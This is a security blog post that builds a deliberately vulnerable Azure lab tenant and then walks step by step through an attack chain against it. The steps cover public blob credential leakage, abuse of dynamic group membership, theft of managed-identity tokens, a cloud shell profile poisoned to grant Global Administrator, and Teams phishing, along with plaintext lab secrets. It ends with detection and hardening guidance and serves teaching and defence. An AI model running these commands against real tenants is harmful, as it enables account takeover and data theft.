This blog post will showcase different techniques for obtaining access to Azure from the internet, escalating privileges within Azure, lateral movement between service principals, resources and users, persistence, and exploitation.
We've included a complete deployment guide including PowerShell scripts, so you can learn to abuse insecure Microsoft Azure configurations in your own tenant.
Furthermore, we've also included the detection and improving security section, which will allow you to re-configure your vulnerable tenant to a more secure design and detect if any of these attacks have been performed against your own tenant. Feel free to try the different attack paths in your own environment and see how you easily can disrupt the attack chain by hardening your tenant.
3 different sections will be covered:
- Deployment
- Attack Path (Overview and step-by-step)
- Detection & Improving Security
This blog post is inspired by the fantastic Dark Side Ops 3 – Azure Cloud Pentesting training course from NetSPI led by Karl Fosaaen, his amazing research, and the book “Penetration Testing Azure for Ethical Hacker” also co-written by Karl Fosaaen together with David Okeyode.
Deployment
Obviously, we'll start at the deployment phase. If you wish to setup an Azure tenant but not sure how to go about it, follow along and soon you will be hacking all the clouds. Since the actual attacks and attack path has not been covered, some of the configurations may not make sense immediately. We will attempt to explain what we're doing as we go along.
Purchase of license and initial AAD configuration is not covered. This lab is very cheap to run, any credits included with MSDN subscription or a new free Azure account will be sufficient.
For full deployment script go to https://github.com/improsec/2Cloudz/
Tenant information:
- Name: impros3c
- Primary domain: adsikkerhed.dk
- Subdomain: adsikkerhed.vault.azure.net
- Subdomain: adsikkerhed.blob.core.windows.net
Deployment Steps
- Create AAD Users
Connect-AzureAD
$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile
$PasswordProfile.Password = "%cP&KCuC48YEYs3l3t9o!fIJU"
$PasswordProfile.ForceChangePasswordNextLogin = $false
New-AzureADUser -DisplayName "nfp" -PasswordProfile $PasswordProfile `
-UserPrincipalName "[email protected]" -AccountEnabled $true `
-MailNickName "nfp"
New-AzureADUser -DisplayName "AppOwner" -PasswordProfile $PasswordProfile `
-UserPrincipalName "[email protected]" -AccountEnabled $true `
-MailNickName "AppOwner"
New-AzureADUser -DisplayName "privadmin" -PasswordProfile $PasswordProfile `
-UserPrincipalName "[email protected]" -AccountEnabled $true `
-MailNickName "privadmin"
New-AzureADUser -DisplayName "AutomationAdmin" -PasswordProfile $PasswordProfile `
-UserPrincipalName "[email protected]" -AccountEnabled $true `
-MailNickName "AutomationAdmin"
- Create CSV file that includes username and password.
[pscustomobject]@{username = '[email protected]';password = '%cP&KCuC48YEYs3l3t9o!fIJU';} | `
Export-Csv -Path .\test.csv -Append -NoTypeInformation -Delimiter ";" -Encoding UTF8
- Create resource group "STORAGE"
- Create storage account "ADSIKKERHED"
- Select Enable Blob Public Access and connectivity Public Endpoint - All default
- Disable Secure Transfer requirement
- Create Blob container named "files" with public access level "Container"
- Upload test.csv to "files" blob
- Final URL: https://adsikkerhed.blob.core.windows.net/files/test.csv
$resourceGroup = "STORAGE"
$location = "northeurope"
New-AzResourceGroup -Name $resourceGroup -Location $location
$StorageAccountProv = @{
ResourceGroupName = $resourceGroup
Name = 'adsikkerhed'
SkuName = 'Standard_LRS'
Location = $location
EnableHttpsTrafficOnly = $false
}
$StorageAccount = New-AzStorageAccount @StorageAccountProv
$Context = $StorageAccount.Context
$ContainerName = 'files'
New-AzStorageContainer -Name $ContainerName -Context `
$Context -Permission Container
$TestCSV = @{
File = '.\test.csv'
Container = $ContainerName
Blob = "test.csv"
Context = $Context
StandardBlobTier = 'Hot'
}
Set-AzStorageBlobContent @TestCSV
- Create Dynamic Group named "AutomationAdmins"
- Make it add any user with "automationadmin" in displayname
Import-Module AzureADPreview -Force
New-AzureADMSGroup -DisplayName "AutomationAdmins" -Description `
"This dynamic group will add any AAD user with 'automationadmin' in Display Name" `
-MailEnabled $False -MailNickName "AutomationAdmins" -SecurityEnabled $True `
-GroupTypes "DynamicMembership" -MembershipRule `
'(user.displayName -contains "automationadmin")' `
-MembershipRuleProcessingState "On"
- Assign "AutomationAdmins" to the "Automation Contributor" role in Subscription IAM
- Automation Contributor role explanation
$AutomationAdminsID = (Get-AzADGroup -DisplayName AutomationAdmins).id
New-AzRoleAssignment -ObjectId $AutomationAdminsID `
-RoleDefinitionName "Automation Contributor"
- Create a Service Principal and assing it to the "Virtual Machine Contributor" role in subscription IAM
- Virtual Machine Contributor role explanation
az login
az ad sp create-for-rbac --name VMContributor --role "Virtual Machine Contributor"
- Create a standalone Automation Account called "AutomationAccount"
$resourceGroup = "AUTOMATION"
$location = "northeurope"
New-AzResourceGroup -Name $resourceGroup -Location $location
New-AzAutomationAccount -Name "AutomationAccount" -Location $location -ResourceGroupName $resourceGroup
- Import PowerShell script as Automation Runbook
$params = @{
AutomationAccountName = 'AutomationAccount'
Name = 'RunBookPowerShell'
ResourceGroupName = 'AUTOMATION'
Type = 'PowerShell'
Path = '.\VMContribScript.ps1'
}
Import-AzAutomationRunbook @params
- Create a VM with a User assigned managed identity
$rgName = 'VMRG'
$location = 'northeurope'
New-AzResourceGroup -Name $rgName -Location $location
$ip = @{
Name = 'AZVMPUBLICIP'
ResourceGroupName = $rgName
Location = $location
Sku = 'Standard'
AllocationMethod = 'Static'
IpAddressVersion = 'IPv4'
Zone = 1,2,3
}
New-AzPublicIpAddress @ip
# Create a Virtual Machine
$vmName = 'AZHACK'
$userName = 'rootnation'
$plainTextPassword = '6#d_PL)tC@%2D[N'
$securePassword = $plainTextPassword | ConvertTo-SecureString -AsPlainText -Force
$credential = [pscredential]::new($userName, $securePassword)
$vm = New-AzVM -ResourceGroupName $rgName -Name $vmName `
-Location $location -Credential $credential -PublicIpAddressName 'AZVMPUBLICIP'
#Allow all inbound to VM
Get-AzNetworkSecurityGroup -Name $vmName -ResourceGroupName $rgName `
| Add-AzNetworkSecurityRuleConfig -Name "ALL" -Description "Allow all ports" `
-Access "Allow" -Protocol "Tcp" -Direction "Inbound" -Priority 100 `
-SourceAddressPrefix "*" -SourcePortRange "*" -DestinationAddressPrefix "*" `
-DestinationPortRange "*" | Set-AzNetworkSecurityGroup
Install-Module -Name Az.ManagedServiceIdentity -Scope CurrentUser
$identityName = 'AZHACKManagedIdentity'
$identity = New-AzUserAssignedIdentity -Name $identityName `
-ResourceGroupName $rgName -Location $location
Update-AzVM -ResourceGroupName $rgName -VM $vm `
-IdentityType UserAssigned -IdentityID $identity.Id
- Create key vault named "ADSIKKERHED" and assign the managed identity principal access to list and get secrets
$keyVaultName = 'ADSIKKERHED'
$keyVault = New-AzKeyVault -ResourceGroupName $rgName `
-Name $keyVaultName -Location $location
$secretValue = ConvertTo-SecureString -String $PasswordProfile.Password -AsPlainText -Force
Set-AzKeyVaultSecret -VaultName $keyVaultName `
-Name AppOwner -SecretValue $secretValue
New-AzRoleAssignment -RoleDefinitionName Reader `
-Scope $keyVault.ResourceId -ObjectId $identity.PrincipalId
Set-AzKeyVaultAccessPolicy -ResourceGroupName $rgName -VaultName $keyVaultName `
-ServicePrincipalName $identity.ClientId -PermissionsToSecrets get,list
Create a new application from "App registration" in AzureAD (Performed in GUI) and name it "HackingApp"
Assing the Service Principal (HackingApp) Storage Account Contributor on the Management Group (Must be performed using the GUI)
- Make "AppOwner" the owner of the hacking application
$ObjectID = Get-AzureADApplication -Filter "DisplayName eq 'HackingApp'" ` | Select-Object ObjectID $RefObjectId = Get-AzureADUser -Filter ` "userPrincipalName eq '[email protected]'" | Select-Object ObjectID Add-AzureADApplicationOwner -ObjectId $ObjectID.ObjectId -RefObjectId $RefObjectId.ObjectId $ObjectID = Get-AzureADServicePrincipal -SearchString HackingApp | Select-Object ObjectID Add-AzureADServicePrincipalOwner -ObjectId $ObjectID.ObjectId -RefObjectId $RefObjectId.ObjectId
- Grant the "privadmin" user "Privileged Role Administrator" role
- Privileged Role Administrator role explanation
$user = Get-AzureADUser -Filter "userPrincipalName eq '[email protected]'" $roleDefinition = Get-AzureADMSRoleDefinition -Filter "displayName eq 'Privileged Role Administrator'" $roleAssignment = New-AzureADMSRoleAssignment -DirectoryScopeId '/' ` -RoleDefinitionId $roleDefinition.Id -PrincipalId $user.objectId
- Grant the "privadmin" user access to a new resource group so a cloud shell can be created
$resourceGroup = "CLOUDSHELL"
$location = "northeurope"
New-AzResourceGroup -Name $resourceGroup -Location $location
New-AzRoleAssignment -ObjectId $user.ObjectId `
-RoleDefinitionName "Contributor" `
-ResourceGroupName $resourceGroup
New-AzRoleAssignment -ObjectId $user.ObjectId `
-RoleDefinitionName "Reader" `
-ResourceGroupName $resourceGroup
- Sign in as the privadmin user and setup a Cloud Shell
Attack Path
The following section is a high level description of the attack path.
Unauthenticated
- Enumerate subdomains w/ MicroBurst
- Enumerate blob for public storage w/ MicroBurst
- Read excel sheet with credentials (regular Azure AD user) from public storage container
- MFA sweep to ensure no MFA or CA policies blocking w/ MFASweep
- Connect to Azure w/ PowerShell Az (User from container (nfp))
Authenticated (Reader)
- Find group with dynamic membership that's assigned as "Automation Contributor" on Subscription. Dynamic group searches for "automationadmin" in displayname
- Create email identity with "automationadmin" in the name, such as "[email protected]"
- Invite guest user into victim tenant and accept
- Connect to victim tenant w/ guest user and dump Automation Account runbooks w/ MicroBurst
- From a dumped runbook, gather credentials for a service principal (VMContributor) which is "virtual machine contributor" on the subscription
- Connect to Azure w/ SP
Authenticated (Virtual Machine Contributor on Subscription)
- Invoke PowerShell on virtual machine to discover that it's configured with a managed identity (AZHACKManagedIdentity)
- Dump access token for management.azure.com and vault.azure.net
- Impersonate managed identity and read secret from key vault
- Secret includes credentials for another user (AppOwner)
- Connect to Azure w/ PowerShell Az and discover that the user is owner of an application which its SP is "Storage Account Contributor" on the Management Group, which includes the subscription and all its inherited resources
- Add a new secret to the SP and authenticate as the SP w/ PowerShell Az
Authenticated (Storage Account Contributor on Management Group)
- Discover a storage account which includes the image file from a cloud shell profile
- Discover that the cloud shell image file is owned by a user which is assigned the Azure AD role "Privileged Role Administrator"
- Download the image file, mount it, poision it and upload it again
- Conduct internal phishing against the target with AADInternals and link to https://shell.azure.com/
- When target opens the phish, our guest user will be assigned the role "Global Administrator" in the Azure AD tenant
Authenticated (Global Administrator in the Azure AD tenant)
- Authenticate to the target Azure tenant with the portal, and elevate yourself to "User Access Administrator" on the Tenant Root Management Group
Authenticated (User Access Administrator)
- You have now complete ownership of both the Azure AD tenant and all Azure resources
Attack walk-through
The following sections describe the attack path in detail and how it is executed.
Unauthenticated (Anonymous)
In this particular case we assume the specific subdomain names on our target company. This will obviously be done through basic OSINT in real world engagements. Armed with the subdomain name knowledge, we initiate an enumeration of azure subdomains with the base "adsikkerhed". This base will differ between companies and their names.
1. Enumerate subdomains w/ MicroBurst
Tools used
MicroBurst, PowerShell
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base adsikkerhed
We now realize that the company has a storage account with the name "adsikkerhed", and we then iniate a targeted brute force enumeration attack against that storage account, which should reveal any blobs and containers with public access. We then grab the public available csv file and read its content
2. Enumerate storage accounts blob for public accessible data w/ MicroBurst
Tools used
MicroBurst, PowerShell
Invoke-EnumerateAzureBlobs -Base adsikkerhed
Invoke-WebRequest "https://adsikkerhed.blob.core.windows.net/files/test.csv" -OutFile .\output\test.csv
Get-Content .\output\test.csv
3. Enumerate potential MFA requirements or Conditonal Access policies that could block the logon attempt from the compromised credentials
Tools used
Import-Module .\MFASweep\MFASweep.ps1
Invoke-MFASweep -Username "[email protected]" -Password "%cP&KCuC48YEYs3l3t9o!fIJU"
Install-Module -Name Az -Scope CurrentUser -Repository PSGallery -Force
Import-Module Az
$Credentials = Get-Credential
Connect-AzAccount -Credential $Credentials
Authenticated (Reader)
4. Enumerate cloud groups and search for specific groups with dynamic membership
Tools used
PowerShell, AzureAD Module, Azure Portal, Az CLI, MicroBurst
Install-Module -Name AzureADPreview -Scope CurrentUser -Repository PSGallery -Force
Connect-AzureAD
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# Grab the Id for the AutomationAdmins group and search for potential resource permission delegation
az role assignment list --assignee 4ec58299-dcc1-4df3-84f6-bb63fd2f0f37 --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'
5. Exploit the dynamic membership rules and invite your own guest user
- Stay in the portal and navigate to Azure AD > Users > New Guest user
- Invite user and fill in the necessary. This user is owned by the attacker from another domain, and make sure to comply with the dynamic membership rules for successfully groupmembership
- When satisified hit the "Invite"
- Navigate to your attacker owned users mailbox and accept the invite
- When the invitation has been accepted and the dynamic membership rules has been updated, you find yourself member of the AutomationAdmins group
6. Dump the Automation Account runbooks
# With the freshly invited guest user, utilize the "Automation Contributor" RBAC role and dump runbooks from the Automation Account with MicroBurst
Connect-AzAccount <guest user>
Import-Module .\MicroBurst\MicroBurst.psm1
New-Item -Path . -Name adsikkerhed-output -Type Directory
Get-AzDomainInfo -folder .\adsikkerhed-output\ -Users Y -Groups N -StorageAccounts N -VMs N -NetworkInfo N -RBAC N
Get-Content .\adsikkerhed-output\Az\ADSIKKERHED\Resources\AutomationAccounts\AutomationAccount\RunBookPowerShell.ps1
7. Authenticate as the Service Principal
Get-AzADServicePrincipal -DisplayName VMContributor
$AppID = 'a30bc8bd-602a-49b2-9708-45a3792a629a'
$Secret = 'TDX3P4SKvg6WHKk4a_Ltko2w~dy.xKytdg'
$TenantID = '2230b2b1-298b-4b13-9de5-852b1d16f118'
$SecureStringPWD = ConvertTo-SecureString $Secret -AsPlainText -Force
[PSCredential]$Credentials = New-Object System.Management.Automation.PSCredential ($AppID, $SecureStringPWD)
Connect-AzAccount -Credential $Credentials -ServicePrincipal -Tenant $TenantID
az login --service-principal -u a30bc8bd-602a-49b2-9708-45a3792a629a -p "TDX3P4SKvg6WHKk4a_Ltko2w~dy.xKytdg" -t 2230b2b1-298b-4b13-9de5-852b1d16f118
Authenticated (Virtual Machine Contributor on Subscription)
Tools used
PowerShell, AzureAD Module, MicroBurst
8. Search for Virtual Machines
$VMs = Get-AzVM -Status | Where-Object {($_.PowerState -EQ "VM running") -and ($_.StorageProfile.OSDisk.OSType -eq "Windows")}
9. Create a script called "jobs.ps1" and save it with the following code
(Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Method GET -Headers @{Metadata="true"} -UseBasicParsing).Content
(Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' -Method GET -Headers @{Metadata="true"} -UseBasicParsing).Content
10. Execute the script via the RunCommand feature to discover if the Virtual Machine is attached and configured with a Managed Identity
$VMs | Invoke-AzVMRunCommand -CommandId 'RunPowershellScript' -ScriptPath .\jobs.ps1
11. Save the tokens as variables
$mgmtToken = "eyJ0eXAiOiJKV1Qi<snip>UzJQ6BJIQQ0n2KC1BtyF2bq1FeJui9GFVg"
$vaultToken = "eyJ0eXAi<snip>OiJKV1QiLCJgY_yUItxfXZqSM_05p1n03Q"
12. Dump the key vault secret with MicroBurst
cd .\MicroBurst\REST
Import-Module .\MicroBurst-AzureREST.psm1
Get-AzKeyVaultSecretsREST -managementToken $mgmtToken -vaultToken $vaultToken -Verbose -SubscriptionId (Get-AzContext).Subscription.Id
13. Authenticate as the compromised user "AppOwner"
# User = [email protected]
# Password = oRSTyQnaSa62%ldxlVo3Wx&2t!
$Credentials = Get-Credential
Connect-AzureAD -Credential $Credentials
14. Enumerate (AzureHound) and discover ownership of an app registration and its service principal
wget https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/AzureHound.ps1 -OutFile AzureHound.ps1 -UseBasicParsing
Import-Module .\AzureHound.ps1
$path = (Get-Location).Path+"\output"
Invoke-AzureHound -OutputDirectory $path
15. Add secret to owned service principal
$ServicePrincipal = Get-AzureADServicePrincipal -Filter "DisplayName eq 'HackingApp'"
New-AzureADServicePrincipalPasswordCredential -ObjectId $ServicePrincipal.ObjectId -EndDate "01-01-2030 12:00:00" -StartDate "06-07-2021 12:00:00" -Value SuperDuperPassword
16. Authenticate as the service principal
$AppID = $ServicePrincipal.AppId
$Secret = 'SuperDuperPassword'
$TenantID = '2230b2b1-298b-4b13-9de5-852b1d16f118'
$SecureStringPWD = ConvertTo-SecureString $Secret -AsPlainText -Force
[PSCredential]$Credentials = New-Object System.Management.Automation.PSCredential ($AppID, $SecureStringPWD)
Connect-AzAccount -Credential $Credentials -ServicePrincipal -Tenant $TenantID
# AppId: 4253003a-bd22-4b6c-a536-cc532d74483b
# Secret: SuperDuperPassword
# Tenant: 2230b2b1-298b-4b13-9de5-852b1d16f118
az login -u 4253003a-bd22-4b6c-a536-cc532d74483b -p SuperDuperPassword -t 2230b2b1-298b-4b13-9de5-852b1d16f118 --allow-no-subscriptions --service-principal
Authenticated (Storage Account Contributor on Management Group)
Tools used
17. Enumerate for RBAC permissions
az role assignment list --assignee 4253003a-bd22-4b6c-a536-cc532d74483b --include-inherited --all --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'
18. Enumerate keys, storage accounts, shares and files
az storage account list --query '[].{Name:name}'
az storage share list --account-name cloudshellprivadmin
az storage file list --share-name cspa --account-name cloudshellprivadmin
az storage account keys list -n cloudshellprivadmin
19. Download the image file, mount it, poison it, and upload it back again to the storage account
az storage file download-batch -d C:\Users\Azure\output -s cspa --account-name cloudshellprivadmin --account-key "FzfTMIy/dLhhlKo3lgQ91iF8mFgQ2eiXc2ECmeEvI3YjQCaf7QoE107r80awbsOAt/Y822+MdASDjZ1Ps+FBwQ=="
ubuntu.exe
cd /mnt/c/Users/Azure/output/.cloudconsole
sudo mkdir /cloudpoison
sudo mount acc_privadmin.img /cloudpoison
cd /cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo umount /cloudpoison
exit
az storage file upload --account-key "FzfTMIy/dLhhlKo3lgQ91iF8mFgQ2eiXc2ECmeEvI3YjQCaf7QoE107r80awbsOAt/Y822+MdASDjZ1Ps+FBwQ==" --account-name cloudshellprivadmin --share-name cspa --path ".cloudconsole/acc_privadmin.img" --source ".\output\.cloudconsole\acc_privadmin.img"
20. Trick the privadmin user to open the cloud shell with internal phishing
Shorten the https://shell.azure.com/ URL with bitly or something else
Install-Module AADInternals
Import-Module AADInternals
$Credentials = Get-Credential
# Get access token for Teams
Get-AADIntAccessTokenForTeams -Credentials $Credentials -SaveToCache
Send-AADIntTeamsMessage -Recipients "[email protected]" -Message "Check this site out, trust me its not a rickroll: https://bit.ly/3FjFPVh"
21. When entering the link the privadmin gets served with the azure cloud shell. What he doesn't know is that the poisoned cloud image is granting our guest user "Global Administrator" rights in the Azure AD tenant when the powershell profile gets loaded
Authenticated (Global Administrator in the Azure AD Tenant)
Tools used
22. We can confirm our newly granted role by logging into our own guest user
23. With our freshly delegated privilege role, we elevate ourself to "User Access Administrator" on Tenant Root Management group, and by then grant ourself complete ownership of the entire Azure resource environment
Azure Active Directory > Properties > Access management for Azure resources > "Yes" and save
Authenticated (User Access Administrator)
Tools used
PowerShell, Az Module
24. User Access Administrator confirmation
Detection and improving security
The following section will describe how you can minimize your Azure attack surface and detect if attacks like this has happend in your environment.
Introduction
Almost the entire attack chain can either be detected with native Azure components and third-party products, or prevented by following a secure configuration baseline and best practice architecture design and implementation.
We do not support nor recommend any specific product, but we highly recommend any organisation develop and create a roadmap to create proper detection while also protecting their cloud infrastructure.
We do recommend that organisations enable all applicable audit and diagnostic features in Azure, and as a bare minimum ingest those logs into a Log Analytics Workspace, Microsoft Sentinel, or to a third-party SIEM product through an Event Hub. The following audit logs and diagnostic settings should be enabled and shipped as a bare minimum:
- Azure AD
- Audit Logs
- Sign in logs
- Non interactive user sign in logs
- Service Principal sign in logs
- Managed Identity sign in logs
- ADFS Sign in logs
- Risky users
- User risk events
- Azure Monitor (Management Plane)
- Administrative
- Security
- Alert
- Policy
These services are a part of the fundamental foundation of your tenant and Azure resources, and contains all the necessary information of your security principals (users, groups, and service principals), Azure AD joined or Hybrid-joined devices, and resources.
On top of that, we highly recommend enabling diagnostic logs on all applicable resources in your environment, and ship those logs as well. Such resources could include:
- Key vaults
- Web apps and function apps
- Storage accounts
- Virtual Machines
- SQL servers and databases
- Automation accounts
Unauthenticated
Improving security
- Do not expose any data to the internet from an public available storage account, unless the data should be in its nature (think pictures for a website)
- Restrict access through selected networks (preferably on the VNET level), or even better use private endpoints
- Enforce secure transfer and set minimum TLS version to 1.2 on all storage accounts
- Rotate access keys every 90 days, and take advantage of the granular roles for RBAC, such as "Storage Blob Data Reader" and "Storage File Data SMB Share Reader"
- Enforce Azure Multi-factor authentication on ALL users regardless of their roles and privileges. We recommend enabling a session policy for 8 hours through a Conditional Access Policy, enabling the users to only get an MFA challenge once each day
- Restrict Azure and Microsoft 365 corporate access through Conditional Access Policies. These requirements should as a bare minimum require device compliance
Authenticated (Reader)
Detection
- Enable Defender for Resource Manager in the Defender for Cloud suite. This will create alerts when automated off the shelf tools as Microburst and PowerZure are utilized against your tenant
- Alert when guest invitations are being sent, and again if the invitiation has been accepted
- Alert for service principal sign-ins from unfamiliar locations and resource, such as PowerShell
Improving security
- Do not scope any groups with Dynamic Group Membership to any priviliged RBAC permission or Azure AD Role. Furthermore, try not to create any membership that rule relies on attributes regular users can determine or manipulate
- Do not allow regular users to invite guest users into the organisations tenant, leave that to tenant admins and specific Azure AD Roles. Consider configuring the collaboration restrictions to exclusively allow invitations from specific domains if applicable. This can obviously be counter productive for some organisations.
- Delegate Virtual Machine Contributor to specific Resource Groups, rather than than the entire subscription. Follow least privilege and segrerate your infrastructure into landing zones
- Do not store plaintext credentials and secrets in runbooks, or in code in general. Utilized Managed Identities from Automation Accounts
- Do proper governance and inventory of your external/guest accounts that has been invited into your tenant. If you have Azure AD Premium P2, leverage from Access Reviews and automate this task
Authenticated (Virtual Machine Contributor on Subscription)
Detection
- Query and alert for run commands initiated on virtual machines. KQL example query:
AzureActivity | where OperationName == "Run Command on Virtual Machine" | where ActivityStatus has_any ("Succeeded", "Accepted") | project TimeGenerated, Resource, ResourceGroup, Caller, CallerIpAddress, ActivityStatus
- Alert on newly added credentials to an exisiting app registration (Enterprise Application/Service Principal)
Improving security
- Configure Conditional Access Policies that allows access to Microsoft Azure Management exclusively from compliant- or hybrid azure ad joined devices
- Apply least privilege and configure the Storage Account Contributor access specifically to the Storage Account(s), or Resource Group as needed
- Do not store other resources, such as additional Storage Accounts in the same Resource Group as the cloud shell Storage Account
- Enforce Azure Multi-factor authentication on all regular and privilege users, including this "AppOwner"
Authenticated (Storage Account Contributor on Management Group)
Detection
- Always alert when a security principal gets delegated the Global Administrator role, or any of the other privileged Azure AD roles. Could be from a normal direct assignment, or an Eligible assignment through Azure AD Privilege Identity Management
Improving security
- Awareness about internal phishing campaign. This Teams message was sent from a service principal with a shortened link, this should raise red flags at the recipient
Authenticated (Global Administrator in the Azure AD tenant)
Detection
- Create a custom alert in Defender for Cloud Apps for when a Global Administrator elevates to User Access Administrator. Look for the activity type:
Azure operation = ElevateAccess Microsoft.Authorization
Improving security
- Configure Conditional Access Policies that only allows access to Microsoft Azure Management exclusively from a dedicated cloud PAW (Privileged Access Workstation)